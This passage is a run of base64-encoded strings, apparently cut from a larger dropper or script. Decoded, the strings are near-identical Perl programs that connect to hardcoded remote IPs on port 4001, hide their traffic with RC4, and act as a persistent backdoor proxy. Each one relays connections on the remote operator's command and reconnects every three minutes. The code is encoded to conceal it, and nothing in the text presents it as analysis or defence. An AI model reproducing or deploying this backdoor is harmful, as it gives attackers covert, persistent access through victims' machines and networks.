W5nNCA9PSA0KSB7CgkJCQkgCgkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMCwgMCwgNCk7CgkJCQkgCgkJCQkgJGVieCA9IHZlYygkYnVmZmVyMCwgMSwgOCk7CgkJCQkgCgkJCQkgc3Vic3RyKCRzdHJfd2VjLCAwLCAxKSA9IHN1YnN0cigkYnVmZmVyMCwgMywgMSk7CgkJCQkgCgkJCQkgc3Vic3RyKCRzdHJfd2VjLCAxLCAxKSA9IHN1YnN0cigkYnVmZmVyMCwgMiwgMSk7CgkJCQkgCgkJCQkgJGVkeCA9IHZlYygkc3RyX3dlYywgMCwgMTYpOwoJCQkgCgkJCQkgJF9yZXQgPSAxOwoJCQl9CgkJCQoJCX0KCX0KCQoJIGNsb3NlMDoKCSAKCSBjbG9zZSgkc29ja2V0YXJyWzBdKTsKCSAKCSBmb3IgKG15ICRpID0gMDsgJGkgPCAyMDA7ICRpKyspIHsKCgkJIGlmICgkc29ja2V0YXJyYXlbJGldID09IDEpIHsgY2xvc2UoJHNvY2tldGFyclskaV0pOyB9CgkJIAoJIH0KCSAKCSBpZiAoJGlzRXhpdCA9PSAxKSB7IGV4aXQ7IH0KCSAKCSByZXR1cm4gJF9yZXQ7Cgp9Cgp3aGlsZSgxKQp7CgkgYmNjbmN0KFwkaG9zdCwgXCRwb3J0KTsKCSAKCSBzbGVlcCAxODA7Cn0K" x "IyEvdXNyL2Jpbi9lbnYgcGVybAoKdXNlIHN0cmljdDsKdXNlIHdhcm5pbmdzOwp1c2UgU29ja2V0Owp1c2UgU29ja2V0IHF3KElQUFJPVE9fVENQIFRDUF9OT0RFTEFZKTsKdXNlIEZjbnRsIHF3KEZfR0VURkwgRl9TRVRGTCBPX05PTkJMT0NLKTsKCm15ICRob3N0ID0gJzM2LjI1NS45OC4xNTYnOwpteSAkcG9ydCA9IDQwMDE7CgpteSAkeG9yZGF0YSA9ICJceDAwIiB4IDUwOwoKZm9yIChteSAkaSA9IDA7ICRpIDwgNTA7ICRpKyspIHsgdmVjKCR4b3JkYXRhLCAkaSwgOCkgPSBpbnQocmFuZCgyNTUpKTsgfQoKc3ViIFJjNF9jcnlwdCB7CgkgCgkgbXkgJHBhc3N3ID0gc2hpZnQoQF8pOwoJIAoJIG15ICRsZW5ndGggPSBzaGlmdChAXyk7CgkgCgkgbXkgJGJ1ZmYwID0gc2hpZnQoQF8pOwoJIAoJIG15ICRzdGFydCA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkc3ogPSBzaGlmdChAXyk7CgkgCgkgbXkgJHJjNCA9ICJceDAwIiB4IDI1NjsKCSAKCSBteSAkcG9ja2Vtb24wID0gMDsKCQoJIG15ICRwb2NrZW1vbjEgPSAwOwoJCgkgbXkgJHBvY2tlbW9uMiA9IDA7CgkKCSBteSAkcG9ja2Vtb24zID0gMDsKCQoJIG15ICRwb2NrZW1vbjQgPSAwOwoJCgkgbXkgJHBvY2tlbW9uNyA9IDA7CgkKCSBteSAkcG9ja2Vtb244ID0gMDsKCSAKCSBteSAkcmN4ID0gJHN6OwoJIAoJIG15ICRyc2kgPSAwOwoJIAoJIG15ICRyYnggPSAwOwoJIAoJIG15ICRncyA9IDA7CgkgCgkgdmVjKCRyYzQsICRfLCA4KSA9ICRfIGZvciAwLi4yNTU7CgkgCgkgZG8gewoJCSAKCQkgdmVjKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDgpID0gKHZlYygkJGJ1ZmYwLCAkc3RhcnQgKyAkcnNpLCA4KSBeIHZlYygkJHBhc3N3LCAkcmJ4LCA4KSk7CgkJIAoJCSAkcnNpKys7CgkJCgkJICRyYngrKzsKCQkKCQkgJHJjeC0tOwoJCQoJCSBpZiAoJHJieCA9PSAkbGVuZ3RoKSB7CgkJCSAKCQkJICRyYnggPSAwOwoJCX0KCQkgCgl9IHdoaWxlKCRyY3ggPiAwKTsKCQoJCgkgd2hpbGUoMSkgewoJCSAKCQkgaWYgKCRncyA9PSAwKSB7CgkJCSAKCQkJICRwb2NrZW1vbjIgPSAwOwoKCQkJICRwb2NrZW1vbjMgPSAkbGVuZ3RoOwoJCX0KCQkgCgkJIGlmICgkZ3MgIT0gMCkgewoJCQkgCgkJCSAkZ3MgPSAwOwoKCQkJICRwb2NrZW1vbjIrKzsKCgkJCSBpZiAoLS0kcG9ja2Vtb24zID09IDApIHsgbmV4dDsgfQoJCQkgCgkJfQoJCQoJCSAkcG9ja2Vtb243ID0gdmVjKCRyYzQsICRwb2NrZW1vbjAsIDgpOwoJCSAKCQkgJHBvY2tlbW9uMSArPSB2ZWMoJCRwYXNzdywgJHBvY2tlbW9uMiwgOCk7CgoJCSAkcG9ja2Vtb24xID0gJHBvY2tlbW9uMSAmIDI1NTsKCgkJICRwb2NrZW1vbjEgKz0gJHBvY2tlbW9uNzsKCgkJICRwb2NrZW1vbjEgPSAkcG9ja2Vtb24xICYgMjU1OwoKCQkgdmVjKCRyYzQsICRwb2NrZW1vbjAsIDgpID0gdmVjKCRyYzQsICRwb2NrZW1vbjEsIDgpOwoKCQkgdmVjKCRyYzQsICRwb2NrZW1vbjEsIDgpID0gJHBvY2tlbW9uNzsKCQkgCgkJICRwb2NrZW1vbjArKzsKCgkJICRwb2NrZW1vbjAgPSAkcG9ja2Vtb24wICYgMjU1OwoJCSAKCQkgaWYgKCRwb2NrZW1vbjAgIT0gMCkgewoJCQkgCgkJCSAkZ3MgPSAxOwoJCQkgCgkJCSBuZXh0OwoJCX0KCQkKCQkgJHBvY2tlbW9uNCA9ICRzejsKCgkJICRwb2NrZW1vbjEgPSAwOwoKCQkgJHBvY2tlbW9uMCA9IDA7CgoJCSAkcG9ja2Vtb24yID0gMDsKCgkJICRwb2NrZW1vbjMgPSAwOwoJCSAKCQkgd2hpbGUoMSkgewoJCQkgCgkJCSAkcG9ja2Vtb24yKys7CgoJCQkgJHBvY2tlbW9uMiA9ICRwb2NrZW1vbjIgJiAyNTU7CgoJCQkgJHBvY2tlbW9uNyA9IHZlYygkcmM0LCAkcG9ja2Vtb24yLCA4KTsKCQkJIAoJCQkgJHBvY2tlbW9uMSArPSAkcG9ja2Vtb243OwoKCQkJICRwb2NrZW1vbjEgPSAkcG9ja2Vtb24xICYgMjU1OwoKCQkJICRwb2NrZW1vbjggPSB2ZWMoJHJjNCwgJHBvY2tlbW9uMSwgOCk7CgkJCSAKCQkJIHZlYygkcmM0LCAkcG9ja2Vtb24yLCA4KSA9ICRwb2NrZW1vbjg7CgkJCSAKCQkJIHZlYygkcmM0LCAkcG9ja2Vtb24xLCA4KSA9ICRwb2NrZW1vbjc7CgoJCQkgJHBvY2tlbW9uOCArPSAkcG9ja2Vtb243OwoJCgkJCSAkcG9ja2Vtb244ID0gJHBvY2tlbW9uOCAmIDI1NTsKCQkJIAoJCQkgdmVjKCQkYnVmZjAsICRzdGFydCArICRwb2NrZW1vbjMsIDgpID0gdmVjKCRyYzQsICRwb2NrZW1vbjgsIDgpIF4gdmVjKCQkYnVmZjAsICRzdGFydCArICRwb2NrZW1vbjMsIDgpOwoJCQkgCgkJCSAkcG9ja2Vtb24zKys7CgkJCSAKCQkJIGlmICgtLSRwb2NrZW1vbjQgPT0gMCkKCQkJIHsKCQkJCSBsYXN0OwoJCQkgfQoJCQkgCgkJfQoJCSAKCQkgbGFzdDsKCX0KCQoJICRyc2kgPSAwOwoJCgkgJHJjeCA9ICRzejsKCQoJICRyYnggPSAwOwoJCgkgZG8gewoJCSAKCQkgdmVjKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDgpID0gKHZlYygkJGJ1ZmYwLCAkc3RhcnQgKyAkcnNpLCA4KSBeIHZlYygkJHBhc3N3LCAkcmJ4LCA4KSk7CgkJIAoJCSAkcnNpKys7CgkJCgkJICRyYngrKzsKCQkKCQkgJHJjeC0tOwoJCQoJCSBpZiAoJHJieCA9PSAkbGVuZ3RoKSB7CgkJCSAKCQkJICRyYnggPSAwOwoJCX0KCQkgCgl9IHdoaWxlKCRyY3ggPiAwKTsKCQp9CgpzdWIgYmNjbmN0IHsKCgkgbXkgJGhvc3QgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHBvcnQgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHJlbWFpbmluZyA9IDA7CgkgCgkgbXkgJHJlbWFpbmluZzQgPSAwOwoJIAoJIG15ICRkb21haW47CgkgCgkgbXkgJHBvcnQwOwoJIAoJIG15IEBzb2NrZXRhcnI7CgkgCgkgbXkgQHNvY2tldGFycmF5OwoJIAoJIG15ICRidWZmZXIgPSAiXHgwMCIgeCAxMDA7CgkgCgkgbXkgJGJ1ZmZlcm51bGwgPSAiXHgwMCIgeCAzOwoJIAoJIG15ICRidWZmZXIwID0gIlx4MDAiIHggNjU1MzY7CgkgCgkgbXkgJGJ1ZmZlcjEgPSAiXHgwMCIgeCA2NTUzNjsKCSAKCSBteSAkaXNFeGl0ID0gMDsKCSAKCSBteSAkX3JldDAgPSAwOwoJIAoJIG15ICRlY3ggPSAwOwoJIAoJIG15ICRlYXggPSAwOwoJIAoJIG15ICRkYXRhID0gMDsKCSAKCSBteSAkX3JldCA9IDA7CgkgCgkgbXkgJGVieCA9IDA7CgkgCgkgbXkgJGVkeCA9IDA7CgkgCgkgbXkgJGNvdW50ZXIgPSAwOwoJIAoJIG15ICRjb3VudGNjID0gMDsKCQkgCgkgbXkgJHJpbiA9ICcnOwoJIAoJIG15ICRmbGFnczsKCSAKCSBteSAkc3RyX3dlYyA9ICJceDAwXHgwMCI7CgkgCgkgZm9yIChteSAkaSA9IDA7ICRpIDwgMjAwOyAkaSsrKSB7ICRzb2NrZXRhcnJheVskaV0gPSAwOyB9CgkgCgkgbXkgJHJlc3BvbmNlID0gIlx4MDBceDBBXHgwMFx4MDVceDAxXHgwMFx4MDFceDAwXHgwMFx4MDBceDAwXHgwMFx4MDAiOwoJIAoJIHNvY2tldCgkc29ja2V0YXJyWzBdLCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgZ2V0cHJvdG9ieW5hbWUoJ3RjcCcpKTsKCSAKCSBzZXRzb2Nrb3B0KCRzb2NrZXRhcnJbMF0sIElQUFJPVE9fVENQLCBUQ1BfTk9ERUxBWSwgMSk7CgkgCgkgc2V0c29ja29wdCgkc29ja2V0YXJyWzBdLCBTT0xfU09DS0VULCBTT19SQ1ZCVUYsIDY1NTM2KTsKCSAKICAgICBzZXRzb2Nrb3B0KCRzb2NrZXRhcnJbMF0sIFNPTF9TT0NLRVQsIFNPX1NOREJVRiwgNjU1MzYpOwoJIAoJIG15ICRwYWRkciA9IHNvY2thZGRyX2luKCQkcG9ydCwgaW5ldF9hdG9uKCQkaG9zdCkpOwoJIAoJIHVubGVzcyhjb25uZWN0KCRzb2NrZXRhcnJbMF0sICRwYWRkcikpIHsgZ290byBjbG9zZTA7IH0KCSAKCSBzdWJzdHIoJGJ1ZmZlciwgMCwgNTApID0gJHhvcmRhdGE7CgkgCgkgc3Vic3RyKCRidWZmZXIsIDUwLCAyKSA9ICJceEZGXHhGRiI7CgkgCgkgc3Vic3RyKCRidWZmZXIsIDU0LCAxMSkgPSAiR09PRFBFUkwiOwoJIAoJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZlciwgNTAsIDUwKTsKCSAKCSBzeXN3cml0ZSgkc29ja2V0YXJyWzBdLCAkYnVmZmVyLCBsZW5ndGgoJGJ1ZmZlcikpOwoJIAoJIHdoaWxlKDEpIHsKCQkgCgkJICRjb3VudGNjID0gMDsKCQkgCgkJICRyaW4gPSAnJzsKCQkgCgkJIGZvciAobXkgJGkgPSAxOyAkaSA8IDIwMDsgJGkrKykgewoJCSAKCQkJIGlmICgkc29ja2V0YXJyYXlbJGldID09IDEpIHsKCQkJCSAKCQkJCSB2ZWMoJHJpbiwgZmlsZW5vKCRzb2NrZXRhcnJbJGldKSwgMSkgPSAxOwoJCQkJIAoJCQkJICRjb3VudGNjKys7CgkJCSB9CgkJIH0KCQkgCgkJIGlmICgkY291bnRjYyA+IDApIHsKCQkJIAoJCQkgdW5sZXNzIChzZWxlY3QoJHJpbiwgdW5kZWYsIHVuZGVmLCAwLjAwMSkpIHsgZ290byBuZXh0X187IH0KCQkJIAoJCQkgZm9yIChteSAkaSA9IDE7ICRpIDwgMjAwOyAkaSsrKSB7CgkJCQkgCgkJCQkgaWYgKCgkc29ja2V0YXJyYXlbJGldID09IDEpICYmIHZlYygkcmluLCBmaWxlbm8oJHNvY2tldGFyclskaV0pLCAxKSkgewoJCQkJCSAKCQkJCQkgJGRhdGEgPSBzeXNyZWFkKCRzb2NrZXRhcnJbJGldLCAkYnVmZmVyMSwgNjU1MzAsIDMpOwoJCQkJIAoJCQkJCSB1bmxlc3MgKCRkYXRhKSB7CgkJCQkJIAoJCQkJCQkgJHNvY2tldGFycmF5WyRpXSA9IDA7CgkJCQkJIAoJCQkJCQkgY2xvc2UoJHNvY2tldGFyclskaV0pOwoJCQkJCQkgCgkJCQkJCSB2ZWMoJHJlc3BvbmNlLCAwLCA4KSA9ICRpOwoJCSAKCQkJCQkJIHN1YnN0cigkcmVzcG9uY2UsIDEsIDIpID0gIlx4MDBceDAwIjsKCQkJCQkJIAoJCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkcmVzcG9uY2UsIDAsIDMpOwoJCSAKCQkJCQkJIHN5c3dyaXRlKCRzb2NrZXRhcnJbMF0sICRyZXNwb25jZSwgMywgMCk7CgkJCQkJIAoJCQkJCSB9CgkJCQkgCgkJCQkJIGVsc2UgewoJCQkJCQkgCgkJCQkJCSB2ZWMoJGJ1ZmZlcjEsIDAsIDgpID0gJGk7CgkJCQkJCSAKCQkJCQkJIHZlYygkc3RyX3dlYywgMCwgMTYpID0gJGRhdGE7CgkJCQkJCSAKCQkJCQkJIHN1YnN0cigkYnVmZmVyMSwgMSwgMSkgPSBzdWJzdHIoJHN0cl93ZWMsIDEsIDEpOwoJCQkJCQkgCgkJCQkJCSBzdWJzdHIoJGJ1ZmZlcjEsIDIsIDEpID0gc3Vic3RyKCRzdHJfd2VjLCAwLCAxKTsKCQkJCQkJIAoJCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMSwgMCwgMyk7CgkJIAoJCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMSwgMywgJGRhdGEpOwoJCQkJIAoJCQkJCQkgc3lzd3JpdGUoJHNvY2tldGFyclswXSwgJGJ1ZmZlcjEsIDMgKyAkZGF0YSk7CgkJCQkJIAoJCQkJCSB9CgkJCQkgfQoJCQkgfQoJCSB9CgkJIAoJCSBuZXh0X186CgkJIAoJCSBpZiAoJHJlbWFpbmluZzQgIT0gNCkgewoJCQkgCgkJCSAkcmluID0gJyc7CgkJCSAKCQkJIHZlYygkcmluLCBmaWxlbm8oJHNvY2tldGFyclswXSksIDEpID0gMTsKCQkJIAoJCQkgbXkgJHJldCA9IHNlbGVjdCgkcmluLCB1bmRlZiwgdW5kZWYsIDAuMDEpOwoJCQkgCgkJCSBuZXh0IGlmICgkcmV0IDwgMCk7CgkJCSAKCQkJIGlmICgkcmV0ID09IDApIHsKCQkJCSAKCQkJCSAkY291bnRlcisrOwoJCQkJIAoJCQkJIGlmICgkY291bnRlciA9PSAxMDAgKiA2MCkgewoJCQkJCSAKCQkJCQkgJGNvdW50ZXIgPSAwOwoKCQkJCQkgbGFzdCBpZiAoc3Vic3RyKCRidWZmZXJudWxsLCAwLCAzKSBuZSAiXHgwMFx4MDBceDAwIik7CgkJCQkgCgkJCQkJIGxhc3QgaWYgKCRyZW1haW5pbmcgIT0gMCk7CgkJCQkgCgkJCQkJIGxhc3QgaWYgKCRyZW1haW5pbmc0ICE9IDApOwoJCQkJIAoJCQkJCSBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRidWZmZXJudWxsLCAwLCAzKTsKCQkJCSAKCQkJCQkgc3lzd3JpdGUoJHNvY2tldGFyclswXSwgJGJ1ZmZlcm51bGwsIGxlbmd0aCgkYnVmZmVybnVsbCkpOwoJCQkJIH0KCQkJCSAKCQkJCSBuZXh0OwoJCQl9CgkJCSAKCQl9CgkJIAoJCSBpZiAoJHJlbWFpbmluZyAhPSAwIHx8ICRyZW1haW5pbmc0ID09IDQpIHsKCQkJIAoJCQkgaWYgKCRlZHggPT0gMCkgewoJCQkJIAoJCQkJIGlmIChzdWJzdHIoJGJ1ZmZlcjAsIDAsIDEpIGVxICJceEZGIiAmJiBzdWJzdHIoJGJ1ZmZlcjAsIDEsIDEpIGVxICJceEZFIikgewoJCQkJCSAKCQkJCQkgJGlzRXhpdCA9IDE7CgkJCQkJIAoJCQkJCSBsYXN0OwoJCQkJCSAKCQkJCX0KCQkJCSAKCQkJCSBlbHNpZiAoJGVieCA8IDIwMCAmJiAkZWJ4ID4gMCAmJiAkc29ja2V0YXJyYXlbJGVieF0gPT0gMSkgewoJCQkJIAoJCQkJCSAkc29ja2V0YXJyYXlbJGVieF0gPSAwOwoJCQkJCSAKCQkJCQkgY2xvc2UoJHNvY2tldGFyclskZWJ4XSk7CgkJCQkJIAoJCQkJCSB2ZWMoJHJlc3BvbmNlLCAwLCA4KSA9ICRlYng7CgkJCQkJIAoJCQkJCSBzdWJzdHIoJHJlc3BvbmNlLCAxLCAyKSA9ICJceDAwXHgwMCI7CgkJIAoJCQkJCSBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRyZXNwb25jZSwgMCwgMyk7CgkJIAoJCQkJCSBzeXN3cml0ZSgkc29ja2V0YXJyWzBdLCAkcmVzcG9uY2UsIDMsIDApOwoJCQkJIAoJCQkJfQoJCQkKCQkJfQoJCQkKCQkJZWxzZSB7CgkJCQkKCQkJCSAkZWN4ID0gJGVkeDsKCQkJCQoJCQkJICRlY3ggPSAkZWN4IC0gJHJlbWFpbmluZzsKCQkJCSAKCQkJCSAkZGF0YSA9IHN5c3JlYWQoJHNvY2tldGFyclswXSwgJGJ1ZmZlcjAsICRlY3gsICRyZW1haW5pbmcgKyA0KTsKCQkJCQoJCQkJIHVubGVzcyAoJGRhdGEpIHsgbGFzdDsgfQoJCQkJIAoJCQkJICRyZW1haW5pbmcgKz0gJGRhdGE7CgkJCQkgCgkJCQkgaWYgKCRlZHggPT0gJHJlbWFpbmluZykgewoJCQkJCSAKCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMCwgNCwgJHJlbWFpbmluZyk7CgkJCQkJIAoJCQkJCSBpZiAodmVjKCRidWZmZXIwLCAwLCA4KSA9PSAwKSB7CgkJCQkJCSAKCQkJCQkJIHNvY2tldCgkc29ja2V0YXJyWyRlYnhdLCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgZ2V0cHJvdG9ieW5hbWUoJ3RjcCcpKTsKCQkJCQkJIAoJCQkJCQkgJF9yZXQwID0gMDsKCQkJCQkJIAoJCQkJCQkgJHNvY2tldGFycmF5WyRlYnhdID0gMTsKCQkJCQkJIAoJCQkJCQkgc3Vic3RyKCRyZXNwb25jZSwgMCwgMTMpID0gIlx4MDBceDBBXHgwMFx4MDVceDAxXHgwMFx4MDFceDAwXHgwMFx4MDBceDAwXHgwMFx4MDAiOwoJCQkJCQkgCgkJCQkJCSB2ZWMoJHJlc3BvbmNlLCAwLCA4KSA9ICRlYng7CgkJCQkJCSAKCQkJCQkJIHNldHNvY2tvcHQoJHNvY2tldGFyclskZWJ4XSwgSVBQUk9UT19UQ1AsIFRDUF9OT0RFTEFZLCAxKTsKCQkJCQkJIAoJCQkJCQkgc2V0c29ja29wdCgkc29ja2V0YXJyWyRlYnhdLCBTT0xfU09DS0VULCBTT19SQ1ZCVUYsIDY1NTM2KTsKCSAKCQkJCQkJIHNldHNvY2tvcHQoJHNvY2tldGFyclskZWJ4XSwgU09MX1NPQ0tFVCwgU09fU05EQlVGLCA2NTUzNik7CgkJCQkJCSAKCQkJCQkJIGZjbnRsKCRzb2NrZXRhcnJbJGVieF0sIEZfU0VURkwsIGZjbnRsKCRzb2NrZXRhcnJbJGVieF0sIEZfR0VURkwsIDApIHwgT19OT05CTE9DSyk7CgkJCQkJCSAKCQkJCQkJIGlmICh2ZWMoJGJ1ZmZlcjAsIDcsIDgpID09IDMpIHsKCQkJCgkJCQkJCQkgJGRvbWFpbiA9IHN1YnN0cigkYnVmZmVyMCwgOSwgdmVjKCRidWZmZXIwLCA4LCA4KSk7CgkJCQoJCQkJCQkJIHN1YnN0cigkc3RyX3dlYywgMCwgMSkgPSBzdWJzdHIoJGJ1ZmZlcjAsIDkgKyB2ZWMoJGJ1ZmZlcjAsIDgsIDgpICsgMCwgMSk7CgkJCQkJCQkgCgkJCQkJCQkgc3Vic3RyKCRzdHJfd2VjLCAxLCAxKSA9IHN1YnN0cigkYnVmZmVyMCwgOSArIHZlYygkYnVmZmVyMCwgOCwgOCkgKyAxLCAxKTsKCQkJCQkJCgkJCQkJCQkgJHBvcnQwID0gdmVjKCRzdHJfd2VjLCAwLCAxNik7CgkJCQoJCQkJCQkgfQoJCQoJCQkJCQkgZWxzaWYgKHZlYygkYnVmZmVyMCwgNywgOCkgPT0gMSkgewoJCQkKCQkJCQkJCSAkZG9tYWluID0gc3ByaW50ZigiJWQuJWQuJWQuJWQiLCB2ZWMoJGJ1ZmZlcjAsIDggKyAwLCA4KSwgdmVjKCRidWZmZXIwLCA4ICsgMSwgOCksIHZlYygkYnVmZmVyMCwgOCArIDIsIDgpLCB2ZWMoJGJ1ZmZlcjAsIDggKyAzLCA4KSk7CgkJCQoJCQkJCQkJIHN1YnN0cigkc3RyX3dlYywgMCwgMSkgPSBzdWJzdHIoJGJ1ZmZlcjAsIDEyICsgMCwgMSk7CgkJCQkJCQkgCgkJCQkJCQkgc3Vic3RyKCRzdHJfd2VjLCAxLCAxKSA9IHN1YnN0cigkYnVmZmVyMCwgMTIgKyAxLCAxKTsKCQkJCQkJCSAKCQkJCQkJCSAkcG9ydDAgPSAgdmVjKCRzdHJfd2VjLCAwLCAxNik7CgkJCQoJCQkJCQkgfQoJCQoJCQkJCQkgZWxzZSB7CgkJCQoJCQkJCQkJIGdvdG8gY2xvc2VfOwoJCQkJCQkgfQoJCQkJCQkgCgkJCQkJCSBldmFsIHsKCQkJIAoJCQkJCQkJIG15ICRwYWRkciA9IHNvY2thZGRyX2luKCRwb3J0MCwgaW5ldF9hdG9uKCRkb21haW4pKTsKCQkKCQkJCQkJCSBjb25uZWN0KCRzb2NrZXRhcnJbJGVieF0sICRwYWRkcik7CgkJIAoJCQkJCQkJIHZlYyhteSAkd2luID0gJycsIGZpbGVubygkc29ja2V0YXJyWyRlYnhdKSwgMSkgPSAxOwoKCQkJCQkJCSB1bmxlc3MgKHNlbGVjdCh1bmRlZiwgJHdpbiwgdW5kZWYsIDEpKSB7IGdvdG8gY2xvc2VfOyB9CgkJCQoJCQkJCQkJIGZjbnRsKCRzb2NrZXRhcnJbJGVieF0sIEZfU0VURkwsIGZjbnRsKCRzb2NrZXRhcnJbJGVieF0sIEZfR0VURkwsIDApIF4gT19OT05CTE9DSyk7CgkJIAoJCQkJCQkJIHN1YnN0cigkcmVzcG9uY2UsIDQsIDEpID0gIlx4MDAiOwoJCSAKCQkJCQkJCSAkX3JldDAgPSAxOwoJCQkgCgkJCQkJCSB9OwoJCSAKCQkJCQkJIGNsb3NlXzoKCQkJCQkJIAoJCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkcmVzcG9uY2UsIDAsIDMpOwoJCSAKCQkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAzLCAxMCk7CgkJIAoJCQkJCQkgc3lzd3JpdGUoJHNvY2tldGFyclswXSwgJHJlc3BvbmNlLCBsZW5ndGgoJHJlc3BvbmNlKSk7CgkJCQkJCSAKCQkJCQkJIGlmICgkX3JldDAgPT0gMCkgewoJCQkJCQkJIAoJCQkJCQkJICRzb2NrZXRhcnJheVskZWJ4XSA9IDA7CgkJIAoJCQkJCQkJIGNsb3NlKCRzb2NrZXRhcnJbJGVieF0pOwoJCQkJCQkJIAoJCQkJCQkJIHZlYygkcmVzcG9uY2UsIDAsIDgpID0gJGVieDsKCQkJCQkJCSAKCQkJCQkJCSBzdWJzdHIoJHJlc3BvbmNlLCAxLCAyKSA9ICJceDAwXHgwMCI7CgkJIAoJCQkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsKCQkgCgkJCQkJCQkgc3lzd3JpdGUoJHNvY2tldGFyclswXSwgJHJlc3BvbmNlLCAzLCAwKTsKCQkJCQkJCSAKCQkJCQkJIH0KCQkJCQkJIAoJCQkJCX0KCQkJCQkKCQkJCQkgZWxzaWYgKCRzb2NrZXRhcnJheVskZWJ4XSA9PSAxKSB7CgkJCQkJCSAKCQkJCQkJIHN5c3dyaXRlKCRzb2NrZXRhcnJbJGVieF0sICRidWZmZXIwLCAkcmVtYWluaW5nLCA0KTsKCQkJCQkJIAoJCQkJCQkgCgkJCQkJfQoJCQkJCSAKCQkJCQkgJHJlbWFpbmluZyA9IDA7CgkJCQl9CgkJCQkKCQkJfQoJCQkgCgkJCSAkcmVtYWluaW5nNCA9IDA7CgkJCSAKCQl9CgkJCgkJZWxzZSB7CgkJCQoJCQkgJGVheCA9IDQ7CgkJCQoJCQkgJGVheCA9ICRlYXggLSAkcmVtYWluaW5nNDsKCQkJIAoJCQkgJGRhdGEgPSBzeXNyZWFkKCRzb2NrZXRhcnJbMF0sICRidWZmZXIwLCAkZWF4LCAkcmVtYWluaW5nNCk7CgkJCSAKCQkJIHVubGVzcyAoJGRhdGEpIHsgbGFzdDsgfQoJCQkgCgkJCSAkcmVtYWluaW5nNCArPSAkZGF0YTsKCQkJIAoJCQkgc3Vic3RyKCRidWZmZXJudWxsLCAwLCAzKSA9ICJceDAwXHgwMFx4MDAiOwoJCQkgCgkJCSAkY291bnRlciA9IDA7CgkJCSAKCQkJIGlmICgkcmVtYWluaW5nNCA9PSA0KSB7CgkJCQkgCgkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMCwgMCwgNCk7CgkJCQkgCgkJCQkgJGVieCA9IHZlYygkYnVmZmVyMCwgMSwgOCk7CgkJCQkgCgkJCQkgc3Vic3RyKCRzdHJfd2VjLCAwLCAxKSA9IHN1YnN0cigkYnVmZmVyMCwgMywgMSk7CgkJCQkgCgkJCQkgc3Vic3RyKCRzdHJfd2VjLCAxLCAxKSA9IHN1YnN0cigkYnVmZmVyMCwgMiwgMSk7CgkJCQkgCgkJCQkgJGVkeCA9IHZlYygkc3RyX3dlYywgMCwgMTYpOwoJCQkgCgkJCQkgJF9yZXQgPSAxOwoJCQl9CgkJCQoJCX0KCX0KCQoJIGNsb3NlMDoKCSAKCSBjbG9zZSgkc29ja2V0YXJyWzBdKTsKCSAKCSBmb3IgKG15ICRpID0gMDsgJGkgPCAyMDA7ICRpKyspIHsKCgkJIGlmICgkc29ja2V0YXJyYXlbJGldID09IDEpIHsgY2xvc2UoJHNvY2tldGFyclskaV0pOyB9CgkJIAoJIH0KCSAKCSBpZiAoJGlzRXhpdCA9PSAxKSB7IGV4aXQ7IH0KCSAKCSByZXR1cm4gJF9yZXQ7Cgp9Cgp3aGlsZSgxKQp7CgkgYmNjbmN0KFwkaG9zdCwgXCRwb3J0KTsKCSAKCSBzbGVlcCAxODA7Cn0K" x "IyEvdXNyL2Jpbi9lbnYgcGVybAoKdXNlIHN0cmljdDsKdXNlIHdhcm5pbmdzOwp1c2UgU29ja2V0Owp1c2UgU29ja2V0IHF3KElQUFJPVE9fVENQIFRDUF9OT0RFTEFZKTsKdXNlIEZjbnRsIHF3KEZfR0VURkwgRl9TRVRGTCBPX05PTkJMT0NLKTsKCm15ICRob3N0ID0gJzM2LjI1NS45OC4xNTcnOwpteSAkcG9ydCA9IDQwMDE7CgpteSAkeG9yZGF0YSA9ICJceDAwIiB4IDUwOwoKZm9yIChteSAkaSA9IDA7ICRpIDwgNTA7ICRpKyspIHsgdmVjKCR4b3JkYXRhLCAkaSwgOCkgPSBpbnQocmFuZCgyNTUpKTsgfQoKc3ViIFJjNF9jcnlwdCB7CgkgCgkgbXkgJHBhc3N3ID0gc2hpZnQoQF8pOwoJIAoJIG15ICRsZW5ndGggPSBzaGlmdChAXyk7CgkgCgkgbXkgJGJ1ZmYwID0gc2hpZnQoQF8pOwoJIAoJIG15ICRzdGFydCA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkc3ogPSBzaGlmdChAXyk7CgkgCgkgbXkgJHJjNCA9ICJceDAwIiB4IDI1NjsKCSAKCSBteSAkcG9ja2Vtb24wID0gMDsKCQoJIG15ICRwb2NrZW1vbjEgPSAwOwoJCgkgbXkgJHBvY2tlbW9uMiA9IDA7CgkKCSBteSAkcG9ja2Vtb24zID0gMDsKCQoJIG15ICRwb2NrZW1vbjQgPSAwOwoJCgkgbXkgJHBvY2tlbW9uNyA9IDA7CgkKCSBteSAkcG9ja2Vtb244ID0gMDsKCSAKCSBteSAkcmN4ID0gJHN6OwoJIAoJIG15ICRyc2kgPSAwOwoJIAoJIG15ICRyYnggPSAwOwoJIAoJIG15ICRncyA9IDA7CgkgCgkgdmVjKCRyYzQsICRfLCA4KSA9ICRfIGZvciAwLi4yNTU7CgkgCgkgZG8gewoJCSAKCQkgdmVjKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDgpID0gKHZlYygkJGJ1ZmYwLCAkc3RhcnQgKyAkcnN